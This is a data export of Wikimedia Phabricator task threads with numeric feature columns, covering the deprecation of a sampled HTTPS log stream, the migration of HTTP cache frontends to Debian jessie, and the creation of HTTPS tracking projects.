+403074,Deprecate HTTPS udp2log stream?,"If you're talking about 1:1000 sampled text logs, these are immensely useful for day to day operations. But let's keep this on-topic, we can discuss this further in a separate task if you want.",,,1422216557,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,True,,,-23,True,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+403049,Deprecate HTTPS udp2log stream?,"The sampled logs are used for about 15 monthly and quarterly reports, for which replacement is still in the 'someday, somehow by someone' phase. 
+
+http://stats.wikimedia.org/wikimedia/squids/SquidReportsCountriesLanguagesVisitsEdits.htm
+http://stats.wikimedia.org/cgi-bin/search_portal.pl?search=breakdown+of+traffic
+ ",,,1422192821,,PHID-USER-m5uwh66djeylkim5chfe,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,False,,,-23,True,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0
+403024,Deprecate HTTPS udp2log stream?,"Seems sensible.
+
+(Out of interest, as part of the ticket-that-must-not-be-named, do we want to also stop generating the sampled logs altogether? Are we using them for anything now?)",,,1422158924,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,False,,,-23,True,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,0,0,0
+402986,Deprecate HTTPS udp2log stream?,"Otto, Oliver, Erik -- This is a heads-up that these log messages are going away. My understanding was that we were using them to count HTTPS requests but we use a different mechanism on Hadoop.
+
+-Toby",,,1422132786,,PHID-USER-ud7f5gp5h3uqup6viq4e,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,False,,,-23,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+402336,Deprecate HTTPS udp2log stream?,"@TNegrin confirmed that Analytics is not using this data (anymore), and it can be turned off.
+
+(Let's turn off this data ASAP, so we still have a bit of time if someone suddenly starts screaming.)",,,1421956065,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,False,,,-23,True,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,0
+400015,Deprecate HTTPS udp2log stream?,"on the re-architecturing, I think (newer?) nginx versions can write logs to a pipe so that might be a quick win without patching nginx (?)",,,1421315409,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,True,,,-24,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,1,1,0,0
+86648,Upgrade all HTTP frontends to Debian jessie,"Our current HTTP frontend fleet (frontend & backend Varnishes for routing & caching, nginx for SSL termination) runs on Ubuntu 12.04 (precise).
+
+Mainly motivated by HTTPS improvements (newer libssl, nginx) and IPsec rollouts, we need to start moving our fleet to a newer platform. Debian jessie is a good candidate for this, as this is the next Wikimedia OS. This work is expected to happen by the end of FY Q3 2015.
+
+For this we'll need to:
+[x] Prepare infrastructure for jessie boxes (already done as part of a separate goal)
+[x] Upgrade one canary box to jessie (cp1008)
+[x] Rebuild custom-made packages for jessie, notably Varnish 3 (jessie ships with 4), varnishkafka; port upstart service files to systemd
+[x] Reinstall one server of each type role (text, mobile, upload, bits) in production for live testing
+[x] Make sure that everything works, new kernel in particular.
+[x] Reinstall all servers across all datacenters
+
+Note that related to this, we'll also need the availability of jessie images for Labs so that we can perform tests and so that Beta can keep up with production. For this, the availability of jessie images in Labs, T75592, is a blocker.",High,80.0,1421156390,1426274679.0,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-5lmnekhfnfq6qskksmey,task_description,resolved,True,c3,1,True,False,True,-25,True,1,1,0,1,0,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,1
+426579,Upgrade all HTTP frontends to Debian jessie,"@bblack, delaying the second Parsoid cache by a week should be fine. If things go well we should have VE use RESTBase instead for all wikipedias by the end of next week (possibly even before Wednesday), at which point the issue becomes moot. See {T89066}.",,,1426435319,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,True,,,-16,True,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0
+426577,Upgrade all HTTP frontends to Debian jessie,"@bblack, delaying the second Parsoid cache by a week should be fine. If things go well we should have VE use RESTBase instead for all wikipedias by the end of next week (possibly even before Wednesday), at which point the issue becomes moot.",,,1426435288,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,True,,,-16,True,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+426158,Upgrade all HTTP frontends to Debian jessie,"100% complete now for all live, pooled, public cache endpoints for text, mobile, bits, upload, and misc-web.
+
+parsoidcache has 1/2 hosts converted (putting the other off by a week or so is the current plan, to avoid losing too much parsoidcache data at once - need to coordinate with @GWicke further to confirm - either way only incidentally related to this ticket, as parsoidcache isn't a cpuload/clientperf blocker for #HTTPS-by-default ).
+
+There are still 3x current hosts (cp1047, cp3011, cp4009) that are down for hardware issues presently, and will get installed with the new jessie config once their hardware issues are resolved (those all have separate hardware tickets noted in cache.pp depool comments).",,,1426274880,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,True,,,-16,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0
+426156,Upgrade all HTTP frontends to Debian jessie,"100% complete now for all live, pooled, public cache endpoints for text, mobile, bits, upload, and misc-web.
+
+parsoidcache has 1/2 hosts converted (putting the other off by a week or so is the current plan, to avoid losing too much parsoidcache data at once - need to coordinate with @GWicke further to confirm - either way only incidentally related to this ticket, as parsoidcache isn't a cpuload/clientperf blocker #HTTPS-by-default ).
+
+There are still 3x current hosts (cp1047, cp3011, cp4009) that are down for hardware issues presently, and will get installed with the new jessie config once their hardware issues are resolved (those all have separate hardware tickets noted in cache.pp depool comments).",,,1426274679,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,True,,,-16,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0
+425646,Upgrade all HTTP frontends to Debian jessie,"At this point, we're 100% converted globally for the text, mobile, and bits clusters.  There's still a few left in the eqiad and esams upload clusters, but they should be done by sometime tomorrow.",,,1426198290,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,True,,,-16,True,1,0,0,1,0,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+425644,Upgrade all HTTP frontends to Debian jessie,"At this point, we're 100% converted globally for the text, mobile, and upload clusters.  There's still a few left in the eqiad and esams upload clusters, but they should be done by sometime tomorrow.",,,1426198176,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,True,,,-16,True,1,0,0,1,0,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+425565,Upgrade all HTTP frontends to Debian jessie,text-eqiad are 100% complete,,,1426193537,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,True,,,-16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+424884,Upgrade all HTTP frontends to Debian jessie,"cp1053
+cp1061
+cp1052
+cp1054
+cp1057
+cp1056
+
+done. i stopped adding the bug number to commit messages because it would be too spammy ",,,1426114739,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+424260,Upgrade all HTTP frontends to Debian jessie,"Status update: ~53% of the cluster is now converted to the new config.  I think we'll make the end of the week at this point, or at least very near to it.  Thanks @dzahn for helping with some of these reinstalls :)",,,1426032773,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,True,,,-17,True,1,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,0
+424050,Upgrade all HTTP frontends to Debian jessie,"Change 195632 merged by Dzahn:
+depool cp1057 for reinstall
+
+[[https://gerrit.wikimedia.org/r/195632]]",,,1426015358,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+424047,Upgrade all HTTP frontends to Debian jessie,"Change 195632 had a related patch set uploaded (by Dzahn):
+depool cp1057 for reinstall
+
+[[https://gerrit.wikimedia.org/r/195632]]
+",,,1426015150,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+423891,Upgrade all HTTP frontends to Debian jessie,"Change 195573 merged by Dzahn:
+depool cp1056 for reinstall
+
+[[https://gerrit.wikimedia.org/r/195573]]",,,1426002692,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+423888,Upgrade all HTTP frontends to Debian jessie,"Change 195573 had a related patch set uploaded (by Dzahn):
+depool cp1056 for reinstall
+
+[[https://gerrit.wikimedia.org/r/195573]]
+",,,1426002164,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+422390,Upgrade all HTTP frontends to Debian jessie,"We're at ~15% of the cache endpoints converted and reinstalled now, and most corner-case oddities with the reinstall process are known.  Next week begins mass reinstalls, expecting that almost everything with the exception of a few esams upload machines will be complete by the end of the week.  esams upload is a special case that requires longer time intervals to refill disks over the network...",,,1425673477,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,True,,,-17,True,1,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0
+422383,Upgrade all HTTP frontends to Debian jessie,"We're at ~15% of the cache endpoints converted and reinstalled now, and most corner-case oddities with the reinstall process are known.  Next week beings mass reinstalls, expecting that almost everything with the exception of a few esams upload machines will be complete by the end of the week.  esams upload is a special case that requires longer time intervals to refill disks over the network...",,,1425673295,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,True,,,-17,True,1,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0
+420434,Upgrade all HTTP frontends to Debian jessie,"Test installs are now successful and all known issues are resolved for all cache types (e.g. systemd transitions for various daemons, varnishkafka issues, etc).  Next step here is to document the reinstall process on wikitech for others to help, set up a plan for reasonable parallelism without causing performance degradation, and begin reinstalling all of the clusters.  Should be done by the end of next week, approximately, although upload clusters may require more time to space them out, so as not cause performance degradation.",,,1425425912,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,True,,,-18,True,1,0,0,1,1,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,1,1,1,0,1
+408700,Upgrade all HTTP frontends to Debian jessie,"Currently we have reinstalled to the new jessie stack one of each type in eqiad (text -> cp1065, upload -> cp1064, bits -> cp1070, mobile -> cp1060) as well as amssq42 as text in esams for live testing.  The only known major issue outstanding from that testing is a VM/kernel bug/tuning issue that affects the varnish backends for upload due to their network/disk i/o patterns.  I'll open a separate ticket to track that.  Once that's resolved, we'll be ready to reinstall all the existing servers to the new jessie-based software stack.",,,1423498350,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,True,,,-21,True,1,0,0,0,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+407900,Upgrade all HTTP frontends to Debian jessie,cp1008 looking SPDY: https://spdycheck.org/#cp1008.wikimedia.org,,,1423250389,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,True,,,-21,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1
+86063,HTTPS phabricator project(s),"As part of T1147, I requested:
+> On an unrelated note, we also need a couple of new tags for HTTPS-related work: #HTTPS as a simple (yellow) tag to tag all HTTPS-related issues (whether ops-related or not) and another one for an HTTPS-by-default milestone #HTTPS-by-default. It could be argued that this can be a simple tag as well, a ""release"" tag or a ""sprint""; personally I think release fits best, but I don't care all that much.
+
+@aklapper (rightfully) requested to bring this into a different task:
+> HTTPS brought up by Faidon: Could we tackle the needs of HTTPS in a separate task? Simply because it's messy already (T29946 and Wikimedia-SSL-related exist from Bugzilla) and I'd like to see it less messy / sort that out in a dedicated task.
+
+So here goes :) I'd like to ask to prioritize this a bit: TechOps has a quartery goal for HTTPS and we'd like to properly use Phabricator for tracking our tasks (for a change :)).",High,80.0,1420664611,1421256872.0,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-TASK-e4bsf5rwwfc27pa2cfo6,task_description,resolved,True,c3,1,True,True,True,-26,True,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,1,0,1
+399596,HTTPS phabricator project(s),So I think we are done here (two projects created) and we can close this as resolved? Or anything left to sort out?,,,1421256854,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-e4bsf5rwwfc27pa2cfo6,task_subcomment,,True,c3,1,True,,,-25,True,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0
+399466,HTTPS phabricator project(s),"Well, the ops-y parts of the ""HTTPS by default"" goal, i.e. scalability, performance & monitoring work is expected to be finished this quarter, so yes, there is an ETA. However, the actual switchover and the choices surroundng it (exceptions, relations with Zero etc.) is fundamentally a product decision and depending on the product choices made there it may result in more tasks needed besides the ones that we've already planned within ops.
+
+That said, even if there is no ETA for this product decision, the project can be definitely realistically be defined as finished at some point: it will be the point where we redirect everyone from HTTP to HTTPS. It's as well-defined as it can get.",,,1421245147,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-e4bsf5rwwfc27pa2cfo6,task_subcomment,,True,c3,1,True,,,-25,True,1,1,0,1,0,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+399461,HTTPS phabricator project(s),"So is there any vague ETA when ""HTTPS by default"" will be finished? Because my differentiation to a standard ""component"" tag would be ""can and will this project realistically ever be defined as //finished//?"".
+
+But yeah, let's go for the green project style here for the time being.
+
+If people want to discuss/finegrain/differentiate https://www.mediawiki.org/wiki/Phabricator/Creating_and_renaming_projects I won't stop anybody, but in the end it should be about getting work organized and done while trying to stick to guidelines and interpreting them on the way. :)",,,1421244619,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-e4bsf5rwwfc27pa2cfo6,task_subcomment,,True,c3,1,True,,,-25,True,1,1,0,1,1,1,0,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0
+399241,HTTPS phabricator project(s),talked to andre about this idea and he said he would sleep on it :),,,1421193256,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-e4bsf5rwwfc27pa2cfo6,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+398502,HTTPS phabricator project(s),"What about #HTTPS-By-Default as a ""goal"".  This the same color as ""sprint"" but obviously goals would be different in context, but a sprint is a type of goal..?  I think spreading the color green thinner over this is warranted.  
+
+@aklapper?",,,1421095159,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-e4bsf5rwwfc27pa2cfo6,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,0,0,1,1,0,1,1,1,1,0,1,1,0,1,1,0,0
+398292,HTTPS phabricator project(s),There is also a 'goal' one outside of sprint.  Preference?,,,1421074288,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-e4bsf5rwwfc27pa2cfo6,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0
+398236,HTTPS phabricator project(s),"#HTTPS exists now, but my original report also said:
+> and another one for an HTTPS-by-default milestone #HTTPS-by-default. It could be argued that this can be a simple tag as well, a ""release"" tag or a ""sprint""; personally I think release fits best, but I don't care all that much.
+
+Reopening.",,,1421065491,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-e4bsf5rwwfc27pa2cfo6,task_subcomment,,True,c3,1,True,,,-25,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+396874,HTTPS phabricator project(s),OK!,,,1420742675,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-e4bsf5rwwfc27pa2cfo6,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+396879,HTTPS phabricator project(s),"Andre, thanks for going over stuff thoroughly.  I looked through and indeed a HTTPS tag seems like it will cover this and invalidates the need for T29946
+
+So...I'm going for it.
+
+",,,1420742996,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-e4bsf5rwwfc27pa2cfo6,task_subcomment,,True,c3,1,True,,,-25,True,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+396870,HTTPS phabricator project(s),"Andre, thanks for going over stuff thoroughly.  I looked through an indeed a HTTPS tag seems like it will cover this and invalidates the need for T29946
+
+So...I'm going for it.
+
+",,,1420742404,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-e4bsf5rwwfc27pa2cfo6,task_subcomment,,True,c3,1,True,,,-25,True,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+396860,HTTPS phabricator project(s),">>! In T86063#963357, @Aklapper wrote:
